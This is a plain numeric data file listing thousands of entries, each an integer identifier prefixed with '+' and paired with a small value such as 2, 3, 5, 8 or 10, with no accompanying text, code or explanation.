+17063 2 +17064 2 +17169 5 +17170 5 +17171 2 +17172 5 +17173 5 +17174 5 +17175 3 +17176 5 +17177 3 +17178 5 +17179 5 +17180 3 +17181 5 +17182 2 +17183 5 +17184 2 +17185 5 +17186 5 +17187 5 +17188 5 +17189 5 +17190 3 +17191 2 +17192 4.6 +17193 10 +17194 5 +17195 5 +17196 5 +17197 3 +17198 2 +17199 5 +17200 5 +17201 5 +17202 5 +17203 3 +17204 10 +17205 5 +17206 5 +17207 10 +17208 5 +17209 10 +17210 5 +17211 5 +17212 5 +17213 5 +17214 5 +17215 5 +17216 10 +17217 5 +17218 5 +17219 5 +17220 5 +17221 5 +17222 3 +17223 8 +17224 8 +17225 10 +17226 2 +17227 5 +17228 5 +17229 10 +17230 8 +17231 5 +17232 5 +17233 8 +17235 5 +17236 8 +17237 5 +17238 10 +17239 10 +17240 10 +17241 10 +17242 5 +17243 5 +17244 5 +17245 10 +17246 5 +17247 5 +17248 10 +17255 5 +17256 5 +17257 3 +17258 5 +17259 2 +17260 5 +17261 2 +17262 3 +17263 2 +17264 5 +17265 5 +17266 5 +17267 10 +17268 5 +17272 5 +17274 2 +17275 5 +17276 5 +17270 5 +17271 8 +17318 5 +17320 5 +17321 5 +17322 5 +17324 5 +17325 5 +17326 5 +17328 3 +17329 3 +17330 3 +17333 3 +17334 2 +17337 2 +17338 2 +17362 5 +17365 3 +17366 3 +17373 2 +17374 3 +17305 3 +17306 3 +17309 3 +17310 2 +17313 5 +17314 2 +17299 5 +17303 5 +17273 3 +17269 10 +17319 5 +17323 3 +17327 5 +17331 2 +17332 2 +17335 2 +17336 5 +17359 3 +17360 3 +17361 3 +17363 3 +17364 3 +17367 3 +17372 3 +17375 3 +17376 2 +17307 5 +17308 3 +17311 5 +17312 2 +17315 2 +17316 5 +17317 3 +17300 5 +17301 5 +17302 5 +17304 5 +17339 3 +17340 5 +17341 3 +17342 5 +17343 5 +17344 5 +17345 5 +17368 5 +17369 5 +17371 5 +17377 10 +17378 5 +17379 5 +17380 5 +17381 5 +17382 5 +17383 3 +17384 5 +17385 5 +17386 3 +17387 2 +17388 3 +17389 3 +17390 3 +17391 2 +17392 2 +17393 2 +17394 3 +17395 2 +17396 3 +17397 3 +17398 2 +17400 3 +17401 5 +17403 5 +17404 3 +17405 3 +17406 5 +17408 3 +17346 3 +17347 5 +17348 5 +17349 5 +17350 10 +17351 3 +17352 10 +17353 5 +17354 5 +17355 5 +17356 3 +17357 10 +17358 3 +17428 5 +17429 5 +17430 10 +17431 10 +17432 10 +17433 10 +17434 10 +17435 5 +17436 5 +17437 5 +17438 5 +17439 10 +17440 10 +17441 5 +17442 5 +17443 5 +17444 10 +17445 5 +17446 10 +17447 10 +17448 10 +17449 5 +17450 5 +17451 5 +17452 5 +17453 5 +17454 10 +17475 5 +17476 5 +17477 5 +17478 10 +17479 5 +17480 5 +17488 5 +17489 5 +17490 5 +17491 5 +17492 5 +17493 5 +17494 10 +17495 5 +17496 5 +17497 5 +17498 5 +17499 5 +17500 5 +18087 5 +17501 5 +17502 5 +17503 5 +17504 5 +17505 5 +17506 5 +17507 5 +17508 5 +17509 5 +17522 5 +17523 5 +17526 5 +17528 5 +17532 5 +17537 5 +17538 5 +17539 5 +17540 5 +17541 5 +17542 5 +17543 5 +17544 5 +17545 5 +17546 5 +17547 5 +17548 5 +17549 5 +17550 5 +17691 2 +17692 5 +17693 5 +17694 5 +17695 5 +17696 5 +17697 5 +17698 5 +17699 5 +17702 5 +17703 3 +17704 5 +17705 3 +17706 5 +17708 2 +17710 3 +17712 8 +17713 3 +17714 3 +17715 2 +17716 2 +17717 5 +17718 5 +17719 2 +17720 5 +17721 2 +17722 5 +17723 5 +17725 5 +17726 5 +17727 2 +17729 3 +17730 5 +17731 2 +17732 3 +17734 5 +17735 10 +17736 5 +17737 5 +17738 10 +17740 3 +17741 3 +17745 3 +17747 5 +17749 5 +17750 5 +17812 3 +17813 3 +17814 3 +17815 3 +17816 3 +17817 3 +17818 3 +17819 3 +17820 3 +17821 3 +17822 3 +17823 3 +17824 5 +17825 3 +17826 10 +17827 3 +17828 3 +17829 5 +17830 3 +17831 3 +17832 5 +17833 3 +17834 3 +17835 3 +17836 3 +17837 3 +17838 3 +17840 5 +17841 5 +17842 10 +17843 3 +17844 5 +17845 5 +17846 5 +17847 5 +17848 3 +17849 5 +17850 3 +17851 5 +17852 3 +17853 5 +17854 3 +17855 3 +17857 3 +17858 3 +17859 3 +17860 3 +17862 3 +17863 3 +18050 3 +17864 3 +17865 3 +17866 3 +17867 3 +17868 3 +17869 3 +17870 3 +17871 3 +17872 3 +17873 3 +17874 3 +17875 3 +17876 3 +17877 3 +17878 3 +17879 3 +17880 3 +17881 3 +17882 3 +18052 3 +18053 3 +18054 3 +18490 3 +18491 3 +18492 5 +18493 5 +18494 3 +18495 3 +18496 5 +18503 3 +18504 3 +18505 3 +18506 5 +18507 5 +18508 3 +18510 5 +18512 10 +18513 10 +18514 3 +18515 3 +18516 5 +18517 5 +18519 5 +18520 5 +18521 5 +18522 2 +18523 2 +18524 3 +18525 3 +18535 5 +18537 3 +18538 3 +18539 3 +18540 3 +18541 3 +18542 3 +18543 3 +18544 3 +18545 3 +18546 3 +18547 3 +18548 3 +18549 3 +18550 3 +18551 3 +18552 3 +18554 3 +18556 3 +18558 5 +18560 3 +18562 3 +18563 3 +18565 3 +18567 5 +18569 3 +18571 5 +18572 3 +18573 3 +18576 5 +18577 5 +18578 3 +18579 3 +18580 3 +18582 5 +18583 3 +18584 3 +18585 3 +18586 3 +18587 3 +18588 3 +18589 5 +18591 3 +18592 10 +18593 3 +18594 10 +18596 10 +18597 5 +18598 5 +18599 3 +18600 3 +18603 5 +18604 5 +18605 5 +18606 3 +18608 5 +18609 5 +18610 5 +18611 5 +18612 10 +18613 5 +18614 10 +18616 3 +18617 3 +18618 10 +18619 3 +18620 5 +18621 3 +18623 3 +18624 5 +18625 5 +18626 3 +18628 3 +18629 10 +18630 5 +18632 5 +18634 5 +18636 3 +18639 3 +18640 3 +18641 3 +18642 5 +18644 3 +18645 3 +18646 3 +18647 5 +18648 5 +18650 3 +18652 5 +18654 3 +18655 5 +18656 5 +18657 3 +18658 3 +18659 5 +18660 3 +18663 5 +18665 5 +18669 5 +18670 5 +18671 5 +18673 5 +18674 3 +18675 3 +18676 3 +18677 3 +18678 3 +18679 3 +18680 5 +18681 5 +18682 3 +18683 3 +18684 3 +18685 3 +18686 3 +18687 5 +18688 3 +18689 3 +18690 3 +18691 3 +18692 3 +18693 3 +18694 3 +18695 5 +18696 5 +18697 3 +18698 3 +18699 3 +18700 3 +18701 5 +18702 3 +18703 3 +18704 3 +18705 5 +18706 3 +18709 5 +18710 5 +18712 5 +18713 3 +18714 5 +18715 3 +18716 5 +18717 5 +18718 5 +18719 5 +18720 5 +18721 3 +18722 3 +18723 5 +18724 5 +18725 5 +18726 3 +18727 5 +18729 5 +18730 3 +18731 3 +18732 5 +18733 5 +18736 5 +18737 3 +18739 3 +18740 5 +18741 3 +18742 3 +18743 5 +18744 3 +18746 3 +18747 3 +18748 5 +18749 5 +18751 3 +18752 5 +18753 5 +18754 5 +19184 5 +19185 5 +19186 5 +19187 5 +19188 5 +19189 5 +19190 5 +19191 5 +19192 5 +19193 5 +19194 5 +19195 5 +19196 5 +19197 5 +19198 5 +19199 5 +19200 5 +19201 5 +19202 5 +19203 5 +19204 5 +19205 5 +19206 5 +19207 5 +19208 5 +19209 5 +19210 5 +19211 5 +19212 5 +19213 5 +19214 5 +19215 5 +19216 5 +19217 5 +19218 5 +19219 5 +19220 5 +19221 5 +19222 5 +19223 5 +19224 5 +19225 5 +19226 5 +19227 5 +19228 5 +19229 5 +19230 5 +19231 5 +19232 5 +19233 5 +19234 5 +19235 5 +19236 5 +19237 5 +19238 5 +19239 5 +19240 5 +19241 5 +19242 5 +19243 5 +19244 5 +19245 5 +19246 5 +19247 5 +19248 5 +19250 5 +19251 5 +19252 5 +19254 5 +19255 5 +19256 5 +19257 5 +19259 5 +19260 5 +19262 5 +19263 5 +19264 5 +19265 5 +19266 5 +19267 5 +19269 5 +19270 5 +19271 5 +7906 2 +7907 2 +7908 3 +7909 2 +7910 3 +7911 3 +7912 3 +7913 2 +7914 5 +7915 5 +7916 5 +7917 5 +7918 3 +7919 5 +7920 5 +7921 3 +7922 5 +7923 5 +7924 5 +7925 5 +7926 3 +7927 5 +7928 3 +7929 3 +7930 3 +7931 3 +7932 3 +7933 3 +7934 5 +7935 3 +7936 3 +7937 3 +7938 2 +7939 3 +7940 3 +7941 3 +7942 3 +7943 3 +7944 3 +7945 3 +7946 3 +7947 3 +7948 3 +7949 5 +7950 5 +7951 3 +7952 5 +7953 5 +7954 3 +7955 3 +7956 3 +7957 5 +7958 3 +7959 5 +7960 3 +7961 5 +7962 3 +7963 3 +7964 3 +7965 3 +7966 3 +7967 5 +7968 5 +7969 5 +7970 5 +7971 3 +7972 5 +7973 5 +7974 5 +7975 3 +7976 5 +7977 3 +7978 5 +7979 3 +7980 5 +7981 2 +7982 5 +7983 5 +7984 5 +7985 3 +7986 5 +7987 5 +7988 2 +7989 5 +7990 5 +7991 5 +7992 2 +7993 3 +7994 2 +7995 5 +7996 3 +7997 5 +7998 5 +7999 5 +8000 3 +8001 5 +8002 2 +8003 10 +8004 5 +8005 10 +8006 10 +8007 10 +8008 10 +8009 10 +8010 10 +8011 5 +8012 5 +8013 5 +8014 5 +8015 5 +8016 5 +8017 5 +8018 5 +8019 5 +8020 5 +8021 2 +8022 3 +8023 3 +8024 5 +8025 3 +8026 3 +8027 2 +8028 3 +8029 2 +8030 5 +8031 5 +8032 5 +8033 3 +8034 3 +8035 5 +8036 5 +8037 5 +8038 3 +8039 5 +8040 5 +8041 5 +8042 3 +8043 8 +8044 8 +8045 10 +8046 2 +8047 2 +8048 2 +8049 3 +8050 2 +8051 3 +8052 3 +8053 5 +8054 5 +8055 3 +8056 5 +8057 5 +8058 10 +8059 3 +8060 5 +8061 3 +8062 3 +8063 2 +8064 8 +8065 5 +8066 3 +8067 2 +8068 5 +8069 5 +8070 5 +8071 8 +8072 8 +8073 5 +8074 5 +8075 2 +8076 5 +8077 3 +8078 10 +8079 5 +8080 10 +8081 2 +8082 5 +8083 10 +8084 10 +8086 8 +8087 8 +8088 5 +8089 5 +8090 10 +8091 5 +8092 5 +8093 10 +8094 3 +8095 5 +8096 5 +8097 5 +8098 3 +8099 3 +8100 3 +8101 3 +8102 3 +8103 3 +8104 2 +8105 1.3 +8106 3 +8107 5 +8108 1.5 +8109 2 +8110 3 +8111 2 +8112 2 +8113 2 +8114 3 +8115 3 +8116 5 +8117 2 +8118 3 +8119 5 +8120 5 +8121 5 +8122 2 +8123 3 +8124 3 +8125 2 +8126 5 +8127 3 +8128 5 +8129 2 +8130 2 +8131 2 +8132 3 +8133 3 +8134 5 +8135 5 +8136 5 +8137 2 +8138 3 +8139 2 +8140 3 +8141 3 +8142 2 +8143 5 +8144 5 +8145 5 +8146 3 +8147 5 +8148 8 +8149 5 +8150 3 +8151 2 +8152 2 +8153 2 +8154 3 +8155 3 +8156 2 +8157 2 +8158 5 +8159 5 +8160 5 +8161 3 +8162 5 +8163 3 +8164 1.3 +8165 10 +8166 3 +8167 10 +8168 5 +8169 5 +8170 5 +8171 5 +8293 10 +8294 5 +8295 10 +8296 8 +8297 3 +8298 3 +8299 5 +8300 3 +8301 5 +8302 3 +8303 10 +8304 3 +8305 3 +8306 5 +8307 5 +8308 5 +8309 3 +8310 5 +8311 3 +8312 2 +8313 3 +8314 3 +8315 3 +8316 5 +8317 8 +8318 10 +8319 5 +8320 3 +8321 5 +8322 5 +8323 10 +8324 5 +8325 5 +8326 5 +8328 5 +8329 3 +8330 3 +8331 8 +8333 5 +8334 5 +8335 5 +8336 10 +8337 5 +8338 5 +8339 5 +8340 3 +8341 3 +8342 5 +8343 10 +8345 5 +8346 5 +8347 10 +8348 5 +8349 5 +8350 3 +8351 5 +8353 5 +8354 5 +8355 3 +8356 3 +8357 5 +8358 3 +8359 5 +8361 3 +8362 5 +8363 5 +8364 5 +8367 10 +8368 5 +8369 5 +8370 3 +8371 5 +8372 3 +8373 3 +8374 5 +8375 3 +8376 10 +8377 8 +8365 5 +8366 3 +8378 5 +8379 3 +8380 2 +8382 1.2 +8383 2 +8384 2 +8385 5 +8386 2 +8387 3 +8389 5 +8390 2 +8391 2 +8392 5 +8393 2 +8394 5 +8395 10 +8396 5 +8397 3 +8398 3 +8399 5 +8400 5 +8401 3 +8402 3 +8403 5 +8404 8 +8405 5 +8407 1.2 +8408 3 +8499 2 +8500 2 +8501 2 +8507 2 +10623 10 +10624 5 +10625 5 +10626 3 +10627 10 +10628 5 +10629 5 +10630 3 +10631 5 +10632 8 +10633 5 +10634 5 +10635 3 +10636 3 +10637 10 +10638 10 +10639 5 +10640 3 +10641 2 +10642 10 +10643 5 +10644 8 +10645 10 +10646 10 +10647 5 +10648 5 +10649 5 +10650 10 +10651 3 +10652 5 +10653 10 +10654 10 +10655 10 +10656 5 +10657 10 +10658 10 +10659 5 +10660 5 +10661 3 +10662 10 +10663 5 +10664 5 +10665 5 +10666 5 +10667 5 +10668 5 +10669 10 +10670 3 +10671 5 +10672 3 +10673 5 +10674 3 +10675 3 +10676 5 +10677 5 +10678 5 +10679 5 +10680 5 +10681 10 +10682 3 +10683 5 +10684 10 +10685 5 +10686 8 +10687 5 +10688 5 +10689 3 +10690 3 +10691 3 +10692 8 +10693 5 +10694 10 +10695 10 +10696 5 +10697 3 +10698 10 +10699 5 +10700 10 +10701 5 +10702 3 +10703 3 +10704 5 +10705 3 +10706 3 +10707 10 +10708 5 +10709 10 +10710 3 +10711 10 +10712 10 +10713 3 +10714 5 +10715 3 +10716 5 +10717 10 +10718 3 +10719 10 +10720 3 +10721 3 +10722 10 +10723 5 +10724 3 +10725 3 +10726 3 +10727 10 +10728 3 +10729 10 +10730 10 +10731 8 +10732 10 +10733 5 +10734 5 +10735 3 +10736 3 +10737 5 +10738 3 +10739 10 +10740 10 +10741 10 +10742 10 +10743 10 +10744 10 +10745 10 +10746 10 +10747 10 +10748 3 +10749 5 +10750 5 +10751 5 +10752 5 +10753 5 +18242 10 +18243 10 +18244 5 +18245 5 +18246 10 +18247 5 +18248 10 +18249 10 +18250 2 +18251 10 +18252 8 +18253 2 +18254 5 +18255 5 +18256 10 +18257 10 +18258 10 +18259 10 +18260 5 +18261 2 +18262 10 +18263 10 +10754 10 +10755 10 +10756 10 +10757 5 +10758 10 +10759 10 +10760 10 +10761 10 +10762 10 +10763 10 +10764 10 +10765 10 +10766 5 +10767 10 +10769 10 +10770 10 +10771 10 +10772 10 +10773 5 +10774 10 +10775 10 +10776 10 +10777 5 +10778 8 +10779 8 +10780 8 +10781 3 +10782 5 +10783 5 +10784 5 +10785 5 +10786 5 +10787 8 +10788 5 +10789 5 +10790 10 +10791 10 +10792 10 +10793 10 +10794 10 +10795 8 +10796 10 +10797 5 +10798 5 +10799 5 +10800 10 +15538 10 +10801 5 +10802 5 +10803 3 +10804 3 +10805 5 +10806 3 +10807 3 +10808 1.1 +10809 10 +10810 3 +10811 3 +10812 2 +10813 5 +10814 10 +10816 10 +10817 10 +10818 1.2 +10819 10 +10820 2 +10821 10 +10822 2 +10823 3 +10824 10 +10825 2 +10826 8 +10827 3 +10828 10 +10829 5 +10830 10 +10831 5 +10832 3 +10833 2 +10834 3 +10835 10 +10836 5 +10837 5 +10838 5 +10839 10 +10840 3 +19549 5 +10841 10 +10842 3 +10843 10 +10844 10 +10845 8 +10846 10 +10847 10 +10848 10 +10849 8 +10850 10 +10851 10 +10852 8 +10853 5 +10854 3 +10855 8 +10856 3 +10857 10 +10858 3 +10859 2 +10860 3 +10861 10 +10862 3 +10863 5 +10864 10 +10865 10 +10866 10 +10867 8 +10868 10 +10869 5 +10870 5 +10871 5 +10872 5 +10873 8 +10874 5 +10875 3 +10876 10 +10877 3 +10878 5 +10879 5 +10880 3 +10881 5 +10882 5 +10883 5 +10885 3 +10886 2 +10887 10 +10888 3 +10889 3 +14663 8 +14664 5 +14665 2 +14666 5 +14667 3 +14668 5 +14669 2 +14671 5 +14672 5 +14673 3 +14674 8 +14675 5 +14676 5 +14677 2 +14678 1.5 +14679 10 +14680 3 +14681 8 +14682 10 +14683 3 +10890 10 +10891 5 +10892 10 +10893 10 +10894 10 +10895 10 +10896 10 +10897 3 +10898 5 +10899 10 +10900 10 +10901 5 +10902 10 +10903 5 +10904 3 +10905 5 +10906 2 +10907 5 +10908 3 +10909 5 +10910 5 +10911 1.1 +10912 3 +10913 5 +10914 2 +10915 3 +10916 5 +10917 3 +10918 2 +10919 2 +10920 5 +10921 3 +10933 10 +10934 10 +10935 10 +10936 10 +10937 10 +10938 10 +10939 10 +10940 10 +10941 10 +10942 10 +10943 10 +10944 10 +10945 10 +10946 10 +10947 10 +10948 10 +10959 10 +10960 10 +10961 10 +10962 10 +10963 10 +10964 10 +10965 10 +10966 10 +10967 10 +10968 10 +10969 10 +10970 10 +10971 10 +10972 3 +10973 10 +10974 5 +10975 3 +10976 8 +10977 2 +10978 2 +10979 2 +10980 2 +10981 3 +10982 5 +10983 2 +10984 10 +10985 10 +10986 10 +10987 10 +10988 8 +10989 5 +10990 3 +10991 10 +10992 5 +10993 10 +10994 10 +10995 10 +10996 5 +10997 1.2 +10998 5 +10999 5 +11000 10 +11001 10 +11002 2 +11003 10 +11004 10 +11005 2 +11006 2 +11007 3 +11008 5 +11009 2 +11010 5 +11011 10 +11012 3 +11013 2 +11014 5 +11015 10 +11016 5 +11017 2 +11018 3 +11019 5 +11020 5 +11021 3 +11022 10 +11023 10 +11024 2 +11025 5 +11026 2 +11027 5 +11028 5 +11030 10 +11031 5 +11032 5 +11033 10 +11034 3 +11035 10 +11036 2 +11037 3 +11038 5 +11039 8 +11040 10 +11041 10 +11042 10 +11043 10 +11044 10 +11045 10 +11046 10 +11047 10 +11048 10 +11049 10 +11050 10 +11051 10 +11052 10 +11053 10 +11054 10 +11055 10 +11056 10 +11057 10 +11058 10 +11059 10 +11060 10 +11061 10 +11062 10 +11063 10 +11064 10 +11065 10 +11066 10 +11067 10 +11068 10 +11069 10 +11070 10 +11071 10 +11072 10 +11073 10 +11074 10 +11075 10 +11076 10 +11077 10 +11078 10 +11079 10 +11080 5 +11081 10 +11082 5 +11083 10 +11084 10 +11085 10 +11086 5 +11087 3 +11088 10 +11089 10 +11090 5 +11091 10 +11092 10 +11093 10 +11094 10 +11095 10 +11096 10 +11097 10 +11098 10 +11099 10 +11100 10 +11101 10 +11102 10 +11103 10 +11104 10 +11105 10 +11106 10 +11107 10 +11108 10 +11109 10 +11110 10 +11111 10 +11112 10 +11113 10 +11114 10 +11115 10 +11116 10 +11117 10 +11118 10 +11119 10 +11120 10 +11121 10 +11122 10 +11123 10 +11124 10 +11125 10 +11126 10 +11127 10 +11128 10 +11129 10 +11130 10 +11131 10 +11132 10 +11133 10 +11134 10 +11135 10 +11136 10 +11137 10 +11138 10 +11139 10 +11140 10 +11141 10 +11142 10 +11143 10 +11144 10 +11145 10 +11146 10 +11147 10 +11148 5 +11149 10 +11150 10 +11151 10 +11152 10 +11153 10 +11154 10 +11155 10 +11156 10 +11157 10 +11158 10 +11159 10 +11160 10 +11161 10 +11162 10 +11163 10 +11164 10 +11165 10 +11166 10 +11167 10 +11168 10 +11169 10 +11170 10 +11171 10 +11172 10 +11173 10 +11174 10 +11175 10 +11176 10 +11177 10 +11178 10 +11179 10 +11180 10 +11181 10 +11182 10 +11183 10 +11184 10 +11185 10 +11186 10 +11187 10 +11188 10 +11189 10 +11190 10 +11191 10 +11192 10 +11193 10 +11194 10 +11195 10 +11196 5 +11197 10 +11198 10 +11199 10 +11200 10 +11201 10 +11202 10 +11203 10 +11204 10 +11205 10 +11206 10 +11207 10 +11208 10 +11209 10 +11210 10 +11211 10 +11212 10 +11213 10 +11214 10 +11215 10 +11216 10 +11217 10 +11218 10 +11219 10 +11220 10 +11221 10 +11222 10 +11223 10 +11224 10 +19116 5 +19117 10 +11225 5 +11226 10 +11227 10 +11228 10 +11229 10 +11230 10 +11231 10 +11232 10 +11233 10 +11234 10 +11235 10 +11236 10 +11237 10 +11238 10 +11239 10 +11240 10 +11241 10 +11242 10 +11243 10 +11244 10 +11245 10 +11246 10 +11247 10 +11248 10 +11249 10 +11250 10 +11251 10 +11252 10 +11253 10 +11254 10 +11255 10 +11256 10 +11257 10 +11258 10 +11259 10 +11260 10 +11261 10 +11262 10 +11263 10 +11264 10 +11265 10 +11266 10 +11267 10 +11268 10 +11269 10 +11270 10 +11271 10 +11272 10 +11273 10 +11274 10 +11275 10 +11276 10 +11277 10 +11278 10 +11279 10 +11280 10 +11281 10 +11282 10 +11283 10 +11284 10 +11285 10 +11286 10 +11287 10 +11288 10 +11289 10 +11290 10 +11291 10 +11292 10 +11293 10 +11294 10 +11295 10 +11296 10 +11297 10 +11298 10 +11299 10 +11300 10 +11301 10 +11302 10 +11303 10 +11304 10 +11305 10 +11306 10 +11307 10 +11308 10 +11309 10 +11310 10 +11311 10 +11312 10 +11313 10 +11314 10 +11315 10 +11316 10 +11317 10 +11318 10 +11319 10 +11320 10 +11321 10 +11322 10 +11323 10 +11324 10 +11325 10 +11326 10 +11327 10 +11328 10 +11329 10 +11330 10 +11331 10 +11332 10 +11333 10 +11334 10 +11335 10 +11336 10 +11337 10 +11338 10 +11339 10 +11340 10 +11341 10 +11342 10 +11343 10 +11344 10 +11345 10 +11346 10 +11347 10 +11348 10 +11349 10 +11350 10 +11351 10 +11352 10 +11353 10 +11354 10 +11355 10 +11356 10 +11357 10 +11358 10 +11359 10 +11360 10 +11361 5 +11362 10 +11363 10 +11364 10 +11365 10 +11366 10 +11367 10 +11368 10 +11369 10 +11370 10 +11371 10 +11372 10 +11373 10 +11374 10 +11375 10 +11376 10 +11377 10 +11378 10 +11379 10 +11380 10 +11381 10 +11382 10 +11383 10 +11384 10 +11385 10 +11386 10 +11387 10 +11388 10 +11389 10 +11390 10 +11391 10 +11392 10 +11393 10 +11394 10 +11395 10 +11396 10 +11397 10 +11398 10 +11399 10 +11400 10 +11401 10 +11402 10 +11403 10 +11404 10 +11405 10 +11406 10 +11407 10 +11408 10 +11409 10 +11410 10 +11411 10 +11412 10 +11413 10 +11414 10 +11415 10 +11416 10 +11417 10 +11418 10 +11419 10 +11420 10 +11421 10 +11422 10 +11423 10 +11424 10 +11425 10 +11426 10 +11427 10 +11428 10 +11429 10 +11430 10 +11431 10 +11432 10 +11433 10 +11434 10 +11435 5 +11436 10 +11437 10 +11438 10 +11439 10 +11440 10 +11441 10 +11442 10 +11443 10 +11444 10 +11445 10 +11446 10 +11447 10 +11448 10 +11449 10 +11450 10 +11451 10 +11452 10 +11453 10 +11454 10 +11455 10 +11456 10 +11457 10 +11458 10 +11459 10 +11460 10 +11461 10 +11462 10 +11464 10 +11465 10 +11466 10 +11467 10 +11468 10 +11469 10 +11470 10 +11471 10 +11472 10 +11473 10 +11474 10 +11475 10 +11476 10 +11477 10 +11478 10 +11479 10 +11480 10 +11481 10 +11482 10 +11483 10 +11484 10 +11485 10 +11486 10 +11487 10 +11488 10 +11489 10 +11490 10 +11491 10 +11492 10 +11493 10 +11494 10 +11495 10 +11496 10 +11497 10 +11498 10 +11499 10 +11500 10 +11501 10 +11502 10 +11503 10 +11504 10 +11505 10 +11506 10 +11507 10 +11508 10 +11509 10 +11510 10 +11511 10 +11512 10 +11513 10 +11514 10 +11515 10 +11516 10 +11517 10 +11518 10 +11519 10 +11520 10 +11521 10 +11522 10 +11523 10 +11524 10 +11525 10 +11526 10 +11527 10 +11528 10 +11529 10 +11530 10 +11531 10 +11532 10 +11533 10 +11534 10 +11535 10 +11536 10 +11537 10 +11538 10 +11539 10 +11540 10 +11541 10 +11542 10 +11543 10 +11544 10 +11545 10 +11546 10 +11547 10 +11548 10 +11549 10 +11550 10 +11551 10 +11552 10 +11553 10 +11554 10 +11555 10 +11556 10 +11557 10 +11558 10 +11559 10 +11560 10 +11561 10 +11562 10 +11563 10 +11564 10 +11565 10 +11566 10 +11567 10 +11568 10 +11569 10 +11570 10 +11571 10 +11572 10 +11573 10 +11574 10 +11575 10 +11576 10 +11577 10 +11578 10 +11579 10 +11580 10 +11581 10 +11582 10 +11583 10 +11584 10 +11585 10 +11586 10 +11587 10 +11588 10 +11589 10 +11590 10 +11591 10 +11592 10 +11593 10 +11594 10 +11595 10 +11596 10 +11597 10 +11598 5 +11599 10 +11600 10 +11601 10 +11602 10 +11603 10 +11604 2 +11606 1.3 +11607 10 +11608 5 +11609 5 +11610 8 +11611 10 +11612 10 +11613 3 +11614 2 +11615 10 +11616 3 +11617 1.5 +11618 3 +11619 10 +11620 8 +11621 10 +11622 3 +11623 2 +11624 10 +11625 5 +11626 5 +11627 5 +11628 5 +11629 5 +11630 8 +11631 2 +11632 5 +11633 3 +11634 3 +11635 3 +11636 3 +11637 10 +11639 3 +11640 5 +11641 10 +11642 5 +11643 2 +11644 5 +11645 5 +11649 3 +11650 3 +11651 3 +11652 3 +11653 5 +11654 5 +18757 3 +18758 10 +18759 5 +11655 3 +11656 3 +11657 5 +11658 8 +11659 3 +11660 5 +11661 5 +11662 3 +11663 3 +11664 10 +11665 3 +11666 3 +11669 3 +11670 5 +11671 3 +11672 10 +11673 3 +11674 5 +11675 5 +11676 10 +11677 3 +11678 3 +11679 3 +11680 2 +11681 2 +11682 3 +12600 5 +12601 2 +12602 3 +12603 3 +12604 5 +12605 5 +12606 5 +12607 3 +12608 3 +12609 3 +12610 2 +12611 2 +12612 2 +12613 2 +12614 2 +12615 1.3 +12616 2 +12617 2 +12618 2 +12620 2 +12621 2 +12622 2 +12623 2 +12624 2 +12625 2 +12626 2 +12627 2 +12628 2 +12629 2 +12630 2 +12631 2 +12632 2 +12633 2 +12634 2 +12635 2 +12636 2 +12637 2 +12638 2 +12639 2 +12640 5 +12641 3 +12642 3 +12643 3 +12644 5 +12645 5 +12646 2 +12647 3 +12648 2 +12649 2 +12650 2 +12651 3 +12652 2 +12653 2 +12654 2 +12655 3 +12656 2 +12657 2 +12658 2 +12659 2 +12660 2 +12661 2 +12662 3 +12663 3 +12664 2 +12665 2 +12666 2 +12667 3 +12668 2 +12669 2 +12670 2 +12671 2 +12672 2 +12673 2 +12674 2 +12675 2 +12676 1.3 +12677 2 +12678 3 +12679 3 +12680 5 +12681 5 +12682 5 +12683 5 +12684 3 +12685 5 +12686 5 +12687 5 +12688 5 +12689 5 +12690 5 +12691 5 +12692 5 +12693 5 +12694 10 +12695 5 +12696 10 +12697 5 +12698 3 +12699 3 +12700 5 +12701 5 +12702 2 +12703 2 +12704 2 +12705 3 +12706 3 +12707 3 +12708 3 +12709 3 +12710 3 +12711 3 +12712 3 +12713 2 +12714 2 +12715 2 +12716 5 +12717 2 +12718 3 +12719 3 +12720 5 +12721 5 +12722 5 +12723 5 +12724 5 +12725 5 +12726 5 +12727 3 +12728 2 +12729 3 +12730 5 +12731 5 +12732 5 +12733 5 +12734 3 +12735 5 +12736 3 +12737 2 +12738 3 +12739 2 +12740 3 +12741 3 +12742 5 +12743 3 +12744 2 +12745 2 +12746 2 +12747 3 +12748 3 +12749 3 +12750 3 +12751 3 +12752 3 +12753 3 +12754 3 +12755 3 +12756 10 +12757 3 +12758 3 +12759 2 +12760 3 +12761 3 +12762 5 +12763 2 +12764 2 +12765 5 +12766 3 +12767 3 +12768 3 +12769 2 +12770 2 +12771 2 +12772 2 +12773 2 +12774 3 +12775 2 +12776 3 +12777 3 +12778 5 +12779 2 +12780 2 +12781 2 +12782 3 +12783 3 +12784 3 +12785 3 +12786 10 +12787 2 +12789 5 +12790 5 +12791 10 +12792 10 +12793 10 +12794 5 +12795 10 +12796 10 +12797 10 +12798 10 +12799 10 +12800 10 +12801 10 +12802 10 +12803 10 +12804 10 +12805 10 +12806 10 +12807 10 +12808 5 +12809 10 +12810 10 +12814 5 +12815 10 +12816 5 +18766 10 +18767 10 +12817 2 +12818 5 +12819 5 +12820 10 +12821 5 +12822 5 +12823 5 +12824 5 +12825 5 +12826 10 +12827 5 +12828 5 +12829 5 +12830 5 +12831 3 +12832 5 +12833 10 +12834 5 +12835 5 +12836 5 +12837 5 +12838 10 +13163 10 +12839 2 +12840 10 +12841 10 +12842 10 +12843 10 +12844 10 +12845 10 +12846 10 +12847 10 +12848 2 +12849 10 +12850 10 +12851 10 +12852 10 +12853 10 +12854 10 +12855 10 +12856 10 +12857 10 +12858 5 +12859 10 +12860 5 +12861 2 +12863 5 +12864 2 +12865 10 +12866 10 +12867 10 +12868 10 +12869 3 +12870 5 +12871 5 +12872 10 +12873 5 +12874 10 +12875 5 +12876 5 +12877 5 +12878 5 +12879 5 +12880 5 +12881 5 +12882 5 +12883 10 +12884 5 +12885 5 +12886 5 +12887 5 +12888 5 +12889 10 +12890 10 +12891 10 +12892 10 +12893 10 +12894 10 +12895 10 +12896 10 +12897 10 +12898 2 +12899 5 +12900 10 +12901 5 +12902 5 +12903 5 +12904 5 +12905 5 +12906 5 +12907 5 +12908 5 +12909 5 +12910 5 +12911 10 +12912 5 +12913 10 +12914 10 +12915 5 +12916 5 +12917 5 +12918 5 +12919 5 +12920 2 +12921 10 +12922 10 +12923 10 +12924 10 +12925 5 +12926 5 +12927 5 +12928 10 +12929 5 +12930 5 +12931 5 +12932 10 +12933 5 +12934 10 +12935 5 +12936 5 +12937 5 +12938 10 +12939 10 +12940 10 +12941 5 +12942 5 +12943 10 +12944 5 +12945 5 +12946 5 +12947 5 +12948 5 +12949 5 +12950 5 +12951 5 +12952 5 +12953 5 +12954 5 +12955 5 +12957 5 +12958 5 +12959 10 